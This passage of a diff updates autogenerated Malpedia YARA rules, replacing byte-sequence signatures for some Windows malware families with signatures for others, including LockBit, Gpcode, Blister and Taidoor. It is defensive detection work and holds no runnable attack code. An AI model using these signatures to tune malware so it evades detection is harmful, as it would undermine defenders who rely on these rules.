+	condition:
+		7 of them and filesize <131072
+}
+rule MALPEDIA_Win_Mrdec_Auto : FILE
+{
+	meta:
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "5cd525b0-3fcd-5de1-aa88-bd5dca592c29"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mrdec"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mrdec_auto.yar#L1-L126"
+		license_url = "N/A"
+		logic_hash = "c22120d79fe39ae9d27a4d21c75a9bbd9a26aee0b664e8fa2f821d0411c6aa0d"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
+
+	strings:
+		$sequence_0 = { c64446fa00 57 56 e8???????? 68???????? 56 e8???????? }
+		$sequence_1 = { 6a00 8d45cc 50 68ef000000 68???????? }
+		$sequence_2 = { 50 ff75f0 6a00 6a00 6a00 ff75e8 e8???????? }
+		$sequence_3 = { 7532 68dc050000 ff75dc 68???????? e8???????? }
+		$sequence_4 = { 6a00 6814010000 68???????? ff75d8 e8???????? 8d3550514000 }
+		$sequence_5 = { 8bec ff7508 6a40 e8???????? 0bc0 750c 68c8000000 }
+		$sequence_6 = { 81c700020000 68???????? 57 e8???????? 68???????? 57 e8???????? }
+		$sequence_7 = { 59 51 80c141 884808 ff05???????? 6a00 6a00 }
+		$sequence_8 = { 6a02 e8???????? 0bc0 0f8530010000 c745f000400000 ff75f0 }
+		$sequence_9 = { 6a00 6a00 e8???????? ff75dc e8???????? }
 
 	condition:
-		7 of them and filesize <1523712
+		7 of them and filesize <44864
 }
-rule MALPEDIA_Win_Vsingle_Auto : FILE
+rule MALPEDIA_Win_Blister_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "39c4d7b9-45d8-55fa-afdc-e3bdbe3bcacd"
+		id = "e15c5b26-46b1-50a6-b793-c24acb88c7d0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vsingle"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vsingle_auto.yar#L1-L182"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blister"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blister_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "83d89a8e2f1a1d70a66e028468bac58cc5e5d328eca56cc57ee9f6d9e54be732"
-		score = 75
-		quality = 75
+		logic_hash = "2e7268df1a1003febf7615ed82849d5ba6785115864de7e2d3f4d8bf888a50fc"
+		score = 60
+		quality = 25
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -178639,38 +185629,32 @@ rule MALPEDIA_Win_Vsingle_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c408 8945ec 8b4dec 8b550c 8d440a01 89450c 8b4d0c }
-		$sequence_1 = { 8955b8 eb14 8b45c0 83c004 8945c0 8b4dbc 83c102 }
-		$sequence_2 = { 83c408 8985f0feffff 83bdf0feffff00 7507 33c0 e9???????? 8b95f0feffff }
-		$sequence_3 = { 52 680c030000 8b4508 50 }
-		$sequence_4 = { 83c408 8985f4eeffff 8b95f4eeffff 8995f0eeffff c745fc00000000 8b85f0eeffff }
-		$sequence_5 = { 8955b8 8b45d0 83c001 8945d0 837db803 7d0c 6a3d }
-		$sequence_6 = { 83c408 898500efffff 83bd00efffffff 7529 8b9504efffff 52 8d8524f7ffff }
-		$sequence_7 = { 33c0 8945e9 8945ed 8945f1 8945f5 8845f9 }
-		$sequence_8 = { 50 b807752b15 81f0467f1fbf 81f08c7668e6 81e8d57c5c4c 8b0c28 }
-		$sequence_9 = { 82e8ef e9???????? 52 53 bb4c969f2a 81f3b4d3bba6 81c3c02d0a2f }
-		$sequence_10 = { 81c7745e2200 81c736b60a42 81c7b551a68d 81f7e7564bc6 897c2404 }
-		$sequence_11 = { bbf93d64ba 81f345ba76fc 81f381c713f5 81f34d7b2ffd 81f346dc0990 81c33217d821 8b142b }
-		$sequence_12 = { 5b 57 50 b86a45ae9f 81c07b6673f5 81f081118d0d }
-		$sequence_13 = { bb86d72160 e9???????? 59 51 b9cf4a22af }
-		$sequence_14 = { 81eb96c3a483 668b0c18 5b 53 bbd7e0d126 81f3b7cf22ba 81c3282d094f }
-		$sequence_15 = { e9???????? bf756ddf55 81f7960c0426 eb36 81c7745e2200 81c736b60a42 }
+		$sequence_0 = { 33f6 8d4447fe 8975fc 8945f8 3bfe 0f8447010000 }
+		$sequence_1 = { 57 ff75fc ffd6 85c0 7529 33c9 41 }
+		$sequence_2 = { e8???????? 8bf0 85f6 7c2e 6a04 58 8d4d08 }
+		$sequence_3 = { 8bff 55 8bec b8dc140000 e8???????? a1???????? 33c5 }
+		$sequence_4 = { 8b3d???????? 6870010000 684c040000 ff7604 ffd7 8b1d???????? }
+		$sequence_5 = { 8d45a0 50 ff750c c745a060000000 6891100000 ff36 }
+		$sequence_6 = { ff7604 ff75f4 ff75e8 6a02 ff75fc ff15???????? 85c0 }
+		$sequence_7 = { 8b4e28 8d45f8 50 895df8 e8???????? }
+		$sequence_8 = { ff15???????? 8bc8 0fb701 f7d8 1bc0 23c1 5e }
+		$sequence_9 = { 50 8b859cf7ffff 8b8c052cf7ffff e8???????? 8985a8f7ffff 85c0 0f8cf9010000 }
 
 	condition:
-		7 of them and filesize <940032
+		7 of them and filesize <1822720
 }
-rule MALPEDIA_Win_Purelocker_Auto : FILE
+rule MALPEDIA_Win_Lockbit_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d1d522a1-058f-5ee5-85f2-56e8688f09bf"
+		id = "945a5bdc-50cc-5372-b470-aafc3e12d474"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.purelocker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.purelocker_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lockbit_auto.yar#L1-L203"
 		license_url = "N/A"
-		logic_hash = "42140169d70d3c64021f0eb71e13968d0cb2f62e4e2540159ee39f96b2cca71d"
+		logic_hash = "ef292234a38c5f85ea42d6220d555a65163be7c7bef94693195ea2cefdb10cc0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -178684,32 +185668,42 @@ rule MALPEDIA_Win_Purelocker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c7042400000000 8d442434 50 8d842440040000 50 8d842440020000 }
-		$sequence_1 = { c1e908 81e1ff000000 331c85201c0110 8b442414 8b148d20180110 335f08 }
-		$sequence_2 = { 8b442410 0fb6c0 330c8520300110 8bc6 }
-		$sequence_3 = { 6a00 85c9 59 751a 8bda 53 }
-		$sequence_4 = { 53 ba17000000 83ec04 c7042400000000 4a 75f3 e8???????? }
-		$sequence_5 = { 8d1524400110 59 e8???????? 741e 8b542468 52 }
-		$sequence_6 = { 50 31c0 50 8b15???????? 52 e8???????? 5a }
-		$sequence_7 = { e8???????? 8d1524400110 8d0d285e0110 e8???????? 8d1524400110 8d0d845d0110 }
-		$sequence_8 = { e8???????? e8???????? 011424 e8???????? 58 8b542408 52 }
-		$sequence_9 = { 50 680a000000 ff742418 e8???????? e8???????? 52 e8???????? }
+		$sequence_0 = { 0f28c8 660f73f904 660fefc8 0f28c1 660f73f804 }
+		$sequence_1 = { 50 e8???????? 8d858cfeffff 50 8d45c0 50 8d45a0 }
+		$sequence_2 = { fec1 47 4e 85f6 75d2 5d }
+		$sequence_3 = { 56 57 8d9d84fcffff b900c2eb0b e2fe e8???????? 53 }
+		$sequence_4 = { 6683f866 7706 6683e857 eb17 6683f830 720c 6683f839 }
+		$sequence_5 = { 33db 55 8b6d10 8bc1 }
+		$sequence_6 = { 8d8550fdffff 50 6a00 ff15???????? }
+		$sequence_7 = { 33c0 8d7df0 33c9 53 0fa2 }
+		$sequence_8 = { f745f800000002 740c 5f 5e }
+		$sequence_9 = { 02d3 8a5c1500 8a541d00 8a541500 fec2 8a441500 }
+		$sequence_10 = { 33d0 8bc1 c1e810 0fb6c0 c1e208 }
+		$sequence_11 = { 53 56 57 33c0 8b5d14 33c9 33d2 }
+		$sequence_12 = { 8d45f8 50 8d45fc 50 ff75fc ff75f4 }
+		$sequence_13 = { e9???????? 6683f841 720c 6683f846 7706 6683e837 }
+		$sequence_14 = { 6a00 6a00 6800000040 ff75d4 }
+		$sequence_15 = { 5b 8907 897704 894f08 89570c f745f800000002 740c }
+		$sequence_16 = { 214493fc 8b5df8 8bc3 43 }
+		$sequence_17 = { 7407 8bce e8???????? 837b0402 }
+		$sequence_18 = { 7414 663901 740f 0f1f440000 }
+		$sequence_19 = { 1bdb 83e30b 83c328 ff7518 8b7d08 8d049500000000 ff7514 }
 
 	condition:
-		7 of them and filesize <193536
+		7 of them and filesize <2049024
 }
-rule MALPEDIA_Win_Lookback_Auto : FILE
+rule MALPEDIA_Win_Fishmaster_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5641bb4f-38a9-52e1-a4b7-204dc4620521"
+		id = "ac4d1a12-e633-54d1-8952-cc6fd81de034"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lookback"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lookback_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fishmaster"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fishmaster_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "68449af30b767d5c82dfe8271f4bbe8c83972fe98d28065e60e3bffd1a6dc166"
+		logic_hash = "ee895ce428e3021476e31fc5a4cbc7a0e07349c7fde3100efce8681f3e034d54"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -178723,32 +185717,32 @@ rule MALPEDIA_Win_Lookback_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 53 8944241a 57 66894c2416 89442422 8bfa }
-		$sequence_1 = { 8b7c241c 33ed 8b473c 8b443878 03c7 8b5024 }
-		$sequence_2 = { 55 8bec 51 53 c745fc00000000 b801000000 }
-		$sequence_3 = { c3 5e 5d 33c0 5b 81c410070000 c3 }
-		$sequence_4 = { 3c01 893d???????? 893d???????? 752e }
-		$sequence_5 = { c644240800 88442415 e8???????? 8d4c240c 89442408 51 }
-		$sequence_6 = { 8d5108 d1e8 85c0 7e33 }
-		$sequence_7 = { 74a7 8b06 85c0 757b }
-		$sequence_8 = { 52 8d442418 57 50 68???????? 57 57 }
-		$sequence_9 = { 55 8bec 51 53 c745fc00000000 b801000000 0fa2 }
+		$sequence_0 = { 4883f81f 7736 498bc8 e8???????? 48c7471000000000 }
+		$sequence_1 = { e8???????? 488bc3 4c8b4318 4983f810 }
+		$sequence_2 = { 7203 498b06 40883c08 c644080100 e9???????? 440fb6cf }
+		$sequence_3 = { 488d156e220000 488bcb ff15???????? 488d156e220000 488bcb ff15???????? 4c8be8 }
+		$sequence_4 = { 4157 4883ec60 488bfa 488bd9 33f6 897098 488970b0 }
+		$sequence_5 = { 48837f1810 7203 488b07 488d4c2438 }
+		$sequence_6 = { 0fb65310 8d42ff 3cfd 7718 88940d84000000 4883c314 }
+		$sequence_7 = { 46383400 75f7 488d9580000000 488d4d20 e8???????? }
+		$sequence_8 = { 480f434c2440 420fb6440803 4288440904 488d442440 48837c245810 480f43442440 488d4c2440 }
+		$sequence_9 = { 4c8b45f8 488d15ce200000 488bcf ff15???????? 488bf8 4c89742430 4489742428 }
 
 	condition:
-		7 of them and filesize <131072
+		7 of them and filesize <812032
 }
-rule MALPEDIA_Win_Hunter_Auto : FILE
+rule MALPEDIA_Win_Dratzarus_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a2ce8975-358a-5feb-855e-0c18799189f7"
+		id = "3e7875e3-7e0c-5dea-9e90-8b6135466b8c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hunter"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hunter_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dratzarus"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dratzarus_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "4840112788d43f80efa44bf4553c38cceb240b146b43c82ea7ba535d388455f9"
+		logic_hash = "5f92bffb1ff676600291544ee9f45d8f2036c734b0601a5e03b740f618ff0f21"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -178762,32 +185756,32 @@ rule MALPEDIA_Win_Hunter_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d4323 03c8 8d83b5000000 038d3cffffff 03c8 8d83ae000000 03ce }
-		$sequence_1 = { 8b5f08 8b440104 8945f0 8b13 8bc8 e8???????? 85c0 }
-		$sequence_2 = { 8d4b38 0faf4dbc 898d34fdffff 8b8d1cffffff 0fafce 8d7375 898d8cfeffff }
-		$sequence_3 = { 8bf9 6b1f14 8b743b0c eb38 0fbf0475080f4700 83f8c2 7433 }
-		$sequence_4 = { 8b4c2440 6aff e8???????? 59 8b4c2448 33c0 89442424 }
-		$sequence_5 = { 53 6a68 5a e8???????? 83c40c b208 8bce }
-		$sequence_6 = { 8b4630 8b14b8 85d2 7405 e8???????? b980000000 e8???????? }
-		$sequence_7 = { c3 51 56 57 8bf1 33c0 8b7e1c }
-		$sequence_8 = { 8b4614 89442418 85c0 750c 385c2431 7506 885c2430 }
-		$sequence_9 = { 8d8d04f8ffff e9???????? 8d8d1cf8ffff e9???????? 8d8de0feffff e9???????? 8d8d34f8ffff }
+		$sequence_0 = { 740a 488b1b 4885db 75c2 eb2f 8b8398010000 }
+		$sequence_1 = { f6c201 7403 66ffc3 66ffc0 6683f81a }
+		$sequence_2 = { e8???????? f20f5ef0 f20f1005???????? f20f2cd6 660f6eca 4863c2 488d0c40 }
+		$sequence_3 = { ff15???????? 488d4d68 ba13000000 488905???????? e8???????? }
+		$sequence_4 = { 488d8dc8000000 ba1c000000 488905???????? e8???????? 488bcb 488bd0 ff15???????? }
+		$sequence_5 = { 3c41 7c04 3c5a 7e08 3c30 7c19 3c39 }
+		$sequence_6 = { 6683f81a 72e3 0fb7c3 4883c420 }
+		$sequence_7 = { c745303ae47159 c7453474b06493 c745380897878b c6453c5b e8???????? 488bc8 }
+		$sequence_8 = { c7450f86f5e3e6 c74513a93633c4 c7451793554020 c7451b48549c39 c7451faaa5f9c7 }
+		$sequence_9 = { 488d4dc8 ba0c000000 488905???????? e8???????? 488bcb 488bd0 ff15???????? }
 
 	condition:
-		7 of them and filesize <1056768
+		7 of them and filesize <1606656
 }
-rule MALPEDIA_Win_Diztakun_Auto : FILE
+rule MALPEDIA_Win_Racket_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7edd86e4-2270-51c2-83a8-ad0918813862"
+		id = "7cb28a65-c30c-589f-a924-680f6f853124"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.diztakun"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.diztakun_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.racket"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.racket_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "6061dd34695b43b9aac4a4105a7b2b736c3a3c9564c659ddb77165c4b09e4e8b"
+		logic_hash = "d1589a59b0768c1bd03360a8449d283c6a3783d8d4ace18ebd09610946148618"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -178801,32 +185795,32 @@ rule MALPEDIA_Win_Diztakun_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4a 85d2 0f8fb3010000 8b08 8b11 50 }
-		$sequence_1 = { 51 ff15???????? 8d742408 e8???????? 5f }
-		$sequence_2 = { 8b08 8b11 50 8b4204 ffd0 c68424d807000019 8b442430 }
-		$sequence_3 = { 83e01f c1f905 8b0c8d60d74400 c1e006 03c1 f6400401 7524 }
-		$sequence_4 = { 8945f4 8b4514 40 c745ec3f344200 894df8 }
-		$sequence_5 = { 50 889c24e4070000 e8???????? 83c40c c68424d807000011 }
-		$sequence_6 = { 8b4c240c 8b5720 8d442408 50 51 }
-		$sequence_7 = { 85d2 740b 8b450c 8b80a4914400 eb09 8b450c 8b8070914400 }
-		$sequence_8 = { e8???????? 59 59 85c0 0f84d9000000 68???????? 53 }
-		$sequence_9 = { e8???????? 83bfac00000000 755e 8d4c2474 51 8d54241c 52 }
+		$sequence_0 = { ffd3 8b8eec000000 8bf8 8b1d???????? 8d45ec 57 50 }
+		$sequence_1 = { 807d0800 743b e8???????? 6a00 ff7604 6845090000 ff35???????? }
+		$sequence_2 = { 57 0f1f840000000000 8bc1 c745fc02000000 2bc2 8dbb78fdffff 81c680fdffff }
+		$sequence_3 = { 0f44c1 50 ff75f4 8b473c 68a2090000 ff34856cb30610 ff15???????? }
+		$sequence_4 = { 40 50 68???????? 6aff 8d85fcfdffff 6800010000 50 }
+		$sequence_5 = { 0f8433020000 833d????????00 0f8426020000 833d????????00 0f8419020000 833d????????00 0f840c020000 }
+		$sequence_6 = { 83c430 3945cc 8b45b8 7501 40 8b4dc0 }
+		$sequence_7 = { 8b4e04 85c9 7537 8b4510 8b7838 85ff 7e75 }
+		$sequence_8 = { ff740e08 68ac080000 ff35???????? ff15???????? 83c420 2bd8 7418 }
+		$sequence_9 = { 6a00 68d6070000 897ddc ff34856cb30610 8975d0 ff15???????? 83c410 }
 
 	condition:
-		7 of them and filesize <688128
+		7 of them and filesize <985088
 }
-rule MALPEDIA_Win_Dnspionage_Auto : FILE
+rule MALPEDIA_Win_Taidoor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "80d80ee2-7c3c-5a6f-84fc-982c0a0f58b9"
+		id = "ede5ce97-d13f-50cf-a7ae-7678b51deb4c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnspionage"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dnspionage_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.taidoor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.taidoor_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "6f236089a9c79217d1f5a567e48544242146a1c819e624fb6aad3710206efaec"
+		logic_hash = "9a08978fbb3ba0f91c4ac24abe796c18c68bd8ea90cbb67ac44eb5676631b436"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -178840,34 +185834,34 @@ rule MALPEDIA_Win_Dnspionage_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { f7470c00020000 7507 8bc8 e8???????? 894320 85c0 }
-		$sequence_1 = { 50 8d45f4 50 6a13 57 }
-		$sequence_2 = { 0f1f8000000000 8bc7 8d5001 8a08 40 84c9 75f9 }
-		$sequence_3 = { c7450c00000000 8d4d0c ba???????? 51 8d4df4 51 }
-		$sequence_4 = { 83f97f 7307 be7f000000 eb11 8bf7 8d4e01 0f1f00 }
-		$sequence_5 = { 33f6 397510 762c 8b45f0 }
-		$sequence_6 = { 8b4810 e8???????? a3???????? e9???????? }
-		$sequence_7 = { 57 8bfa 85f6 0f8487000000 85ff 0f847f000000 }
-		$sequence_8 = { 7202 8b12 56 52 8d8518feffff }
-		$sequence_9 = { 8bce 8903 83c408 c1e902 }
+		$sequence_0 = { 7cf5 c745fcfcffffff 33ff 33db }
+		$sequence_1 = { f775fc 8bf2 8d04f6 ffb485f4b7ffff ff15???????? 85c0 }
+		$sequence_2 = { 59 8d85a0fdffff 59 50 e8???????? }
+		$sequence_3 = { 57 a0???????? c745fc01000000 8ac8 f6d9 1bc9 33db }
+		$sequence_4 = { 66ab aa 895dfc ffd6 40 85c0 7e29 }
+		$sequence_5 = { b940420f00 f7f9 8d45e0 52 ff35???????? ff35???????? }
+		$sequence_6 = { ff75f0 ffd6 8d4d08 885dfc e8???????? 834dfcff 8d4d10 }
+		$sequence_7 = { ff75ec 8d4df0 e8???????? 8b450c 46 3b70f8 7cdc }
+		$sequence_8 = { e8???????? ff75ec 8d85a0fdffff 50 51 8bcc 8965f4 }
+		$sequence_9 = { bf80020000 57 c745fc01000000 ffd3 8bf0 }
 
 	condition:
-		7 of them and filesize <786432
+		7 of them and filesize <49152
 }
-rule MALPEDIA_Win_Cryptoluck_Auto : FILE
+rule MALPEDIA_Win_Winmm_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a59fe2e6-4321-5ca6-b53f-4f7ee8914f9a"
+		id = "e5922e79-076b-5a5c-ba27-8c0bb532ca1f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoluck"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cryptoluck_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.winmm"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.winmm_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "6db6bc0e7d4030ac1b4c7c7367ac728b4b155db8cbff6f59645d89ef531abf3a"
-		score = 75
-		quality = 75
+		logic_hash = "9d8038e46a83e5b1250014db0840b8d665afb5078d6d9005cce493b4024246af"
+		score = 60
+		quality = 35
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -178879,32 +185873,32 @@ rule MALPEDIA_Win_Cryptoluck_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7409 c745d880720010 eb07 c745d878720010 837d1000 7409 c745d475720010 }
-		$sequence_1 = { 44 15f40010ff 35ec001eff 20d7 59 392d???????? 1288ff35d403 }
-		$sequence_2 = { 8b85e4fbffff 50 e8???????? 83c408 8985c4fbffff 83bdc4fbffff00 }
-		$sequence_3 = { 8b4df8 51 ff15???????? 85c0 7431 8b550c }
-		$sequence_4 = { 85c0 0f84e8000000 c745ec00000000 8d45ec 50 8d4df0 51 }
-		$sequence_5 = { ff15???????? 85c0 7419 8b4d14 }
-		$sequence_6 = { 99 2bc2 8bc8 d1f9 8b45ac 99 2bc2 }
-		$sequence_7 = { ff15???????? 8b0d???????? 51 8b95c8fdffff 52 68ff0f0000 }
-		$sequence_8 = { c60000 8b4de0 83c101 894de0 8b55dc }
-		$sequence_9 = { ff15???????? 8985e8faffff 83bde8faffffff 0f84d9000000 b8424d0000 668985d4faffff 8b8df4faffff }
+		$sequence_0 = { 740c 663d3000 7406 663d2000 750b 668b042e 03f5 }
+		$sequence_1 = { 03ce 7504 33c0 5e }
+		$sequence_2 = { 7d03 6a01 5f 85ff 0f8449ffffff }
+		$sequence_3 = { 89462c ff15???????? 8bce 894604 e8???????? 85c0 }
+		$sequence_4 = { 8bc8 ff5274 c3 33c0 c3 c3 56 }
+		$sequence_5 = { 83c308 bf80000000 eb1d 83e86e }
+		$sequence_6 = { e8???????? 59 eb1d 6a02 83c304 5f }
+		$sequence_7 = { 663d2000 750b 668b042e 03f5 663bc7 75c0 397c2428 }
+		$sequence_8 = { 7c02 8bfd 3b7c2428 7f5a 8b7c2428 }
+		$sequence_9 = { 83c40c 85c0 752d 83c606 }
 
 	condition:
-		7 of them and filesize <229376
+		7 of them and filesize <278528
 }
-rule MALPEDIA_Win_Ratankbapos_Auto : FILE
+rule MALPEDIA_Win_Sidewalk_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5159f055-afb3-5653-8c2e-8b4cd00d6051"
+		id = "14b78b08-c08d-56d8-91d9-454c97efb0a9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratankbapos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ratankbapos_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewalk"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sidewalk_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "307bbc2928c4233a295ed19557340191e5f9ae029ac3d7d89bb25a026e5ae32e"
+		logic_hash = "db7fd110ccdf76bd73169627fa283b7d029f717432de6e469dcea6c6c2ec5ed7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -178918,32 +185912,35 @@ rule MALPEDIA_Win_Ratankbapos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d542444 56 52 e8???????? 8d44244c 83c424 33d2 }
-		$sequence_1 = { 83c424 33d2 8d7001 8d4900 8a08 40 3acb }
-		$sequence_2 = { 897304 8d7901 90 8a01 41 84c0 }
-		$sequence_3 = { 8b4b0c 03f0 c68405fcdfffff00 8d85fcdfffff 89b5f4dfffff c6040e00 }
-		$sequence_4 = { e8???????? 8b4510 33c9 8a4801 8d14cdd8ea0010 }
-		$sequence_5 = { ffb7c03d0110 ff15???????? 8987c03d0110 83c704 83ff28 72e6 5f }
-		$sequence_6 = { ff15???????? 83c41c 8bf0 ff15???????? 50 }
-		$sequence_7 = { 8b4dfc 33cd 83c408 b001 }
-		$sequence_8 = { b801000000 894588 8945a4 33c9 8bc2 c78574ffffff3c000000 }
-		$sequence_9 = { 8bc8 c1f905 8d3c8de04d0110 8bf0 }
+		$sequence_0 = { 4403e8 4133db 418bcd c1c307 }
+		$sequence_1 = { 0bc8 41890c10 488d5204 4983e901 75d4 }
+		$sequence_2 = { 33c3 c1c207 c1c00c 4403c8 4533d1 }
+		$sequence_3 = { 488b05???????? 83780c00 7405 e8???????? }
+		$sequence_4 = { 488d040a 483bc6 7ce2 4883c640 }
+		$sequence_5 = { 8bc2 33c6 c1c010 4403d8 4133db }
+		$sequence_6 = { 750e 488bcf ff15???????? 4885c0 }
+		$sequence_7 = { c1c610 4433f2 c1c710 4403df 41c1c610 4503e6 }
+		$sequence_8 = { 41c1c610 4503e6 4403cb 4533d1 4403ee 41c1c210 418bc3 }
+		$sequence_9 = { 884202 884a03 4183f810 7ccc }
+		$sequence_10 = { 0fb642fe c1e108 0bc8 41890c10 }
+		$sequence_11 = { ff15???????? 4885c0 750e 488bcf }
+		$sequence_12 = { 8a040f 3201 41880408 48ffc1 }
 
 	condition:
-		7 of them and filesize <327680
+		7 of them and filesize <237568
 }
-rule MALPEDIA_Win_Hellokitty_Auto : FILE
+rule MALPEDIA_Win_Gpcode_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "deb7a825-f579-50f4-a7a3-d6eebbf360da"
+		id = "d8b81e5a-8691-5b0a-9c29-2fe185a250cc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hellokitty"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hellokitty_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gpcode"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gpcode_auto.yar#L1-L188"
